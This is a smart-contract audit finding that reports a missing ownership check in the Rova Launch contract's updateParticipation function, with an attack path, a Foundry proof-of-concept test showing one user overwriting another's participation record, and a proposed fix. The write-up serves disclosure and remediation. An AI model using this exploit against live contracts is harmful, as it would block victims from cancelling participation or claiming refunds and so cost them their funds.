Mythical Seafoam Meerkat

Medium

# Regular user can overwrite participation info of another user

### Summary

Missing check in `updateParticipation` allows `launchGroupParticipations[newLaunchParticipationId]`  entry to be overwritten incorrectly, assuming `launchGroupParticipations[newLaunchParticipationId]` is empty record. This can happen due to the nature of Ethereum and the rule in the `Launch` contract that only the userAddress can be the msg.sender. This gives the user to decide when to send the transaction on chain.

### Root Cause

On [line](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L337C35-L337C42) there is no check if `ParticipationInfo.<userId/userAddress>` is empty. This means that due to clash in the way participationIds are created a user record can be overwritten.

### Internal Pre-conditions

Launch group should not finalize at participation

### Attack Path

1. Alice participates for 1000 launch tokens (system gives her participation id)
2. Alice sends transaction onchain `participate`
3. Alice decides to update its participation from 1000 tokens to 500 tokens (system gives her next participation id)
4. Bob also participates for 1000 launch tokens (system gives him the same participation id as from step 3.)
5. Bob sends transaction onchain `participate`
6. Alice sends transaction onchain `updateParticipation` (Launch contract overwrites Bob `ParticipationInfo`, effectively Bob loses his right to claimRefund and cancelParticipation)

### Impact

User launch participation will be overwritten and the user will not be able to withdraw its funds, nor claim a refund.


### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {IAccessControl} from "@openzeppelin/contracts/access/IAccessControl.sol";
import {Test, console} from "forge-std/Test.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {LaunchGroupSettings, LaunchGroupStatus, ParticipationRequest, CancelParticipationRequest, ParticipationInfo, UpdateParticipationRequest} from "../src/Types.sol";

contract POC is Test, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest[] public requests;

    bytes32[] public participationIds;
    address[] public users;

    function setUp() public {}

    function test_POC_updateParticipationCanTakeOverFunds() public {
        _setUpLaunch();

        settings = _setupLaunchGroup();

        // Setup multiple participations
        participationIds = new bytes32[](2);
        participationIds[0] = bytes32(uint256(1));
        participationIds[1] = bytes32(uint256(2));

        users = new address[](2);
        users[0] = user1;
        users[1] = user2;

        uint256 user1InitialBalance = currency.balanceOf(user1);
        uint256 user2InitialBalance = currency.balanceOf(user2);

        requests = _setupParticipations(participationIds, users);

        bytes32 user1Id = bytes32(uint256(1));
        bytes32 user2Id = bytes32(uint256(2));
        bytes32 user1ParticipationId = bytes32(uint256(1));
        bytes32 user2ParticipationId = bytes32(uint256(2));

        UpdateParticipationRequest
            memory updateRequest = UpdateParticipationRequest({
                chainId: block.chainid,
                launchId: testLaunchId,
                launchGroupId: testLaunchGroupId,
                prevLaunchParticipationId: user1ParticipationId,
                newLaunchParticipationId: user2ParticipationId,
                userId: user1Id,
                userAddress: user1,
                tokenAmount: launch.getUserTokensByLaunchGroup(
                    testLaunchGroupId,
                    user1Id
                ),
                currency: address(currency),
                requestExpiresAt: block.timestamp + 1 hours
            });

        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.prank(user1);
        launch.updateParticipation(updateRequest, updateSignature);

        CancelParticipationRequest
            memory cancelRequest = _createCancelParticipationRequest();

        cancelRequest.launchParticipationId = user2ParticipationId;
        cancelRequest.userId = user2Id;
        cancelRequest.userAddress = user2;

        bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest));

        vm.startPrank(user2);
        // here cancel participation reverts, because for launchParticipationId is owned by another user
        vm.expectRevert(
            abi.encodeWithSelector(
                Launch.UserIdMismatch.selector,
                user1Id,
                user2Id
            )
        );
        launch.cancelParticipation(cancelRequest, cancelSignature);
        vm.stopPrank();

        cancelRequest.launchParticipationId = user2ParticipationId;
        cancelRequest.userId = user1Id;
        cancelRequest.userAddress = user1;

        cancelSignature = _signRequest(abi.encode(cancelRequest));

        vm.prank(user1);
        launch.cancelParticipation(cancelRequest, cancelSignature);
        assertEq(user1InitialBalance, currency.balanceOf(user1));

        assertEq(
            user2InitialBalance,
            currency.balanceOf(user2),
            "After cancelling participation user2 is not able to withdraw his funds"
        );
    }
}

```

### Mitigation

Replace this [snippet](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L337C35-L337C42)

with

```solidity
ParticipationInfo storage newInfo = launchGroupParticipations[
            request.newLaunchParticipationId
        ];

if (newInfo.userId != prevInfo.userId) {
revert UserIdMismatch(prevInfo.userId, newInfo.userId);
}

```
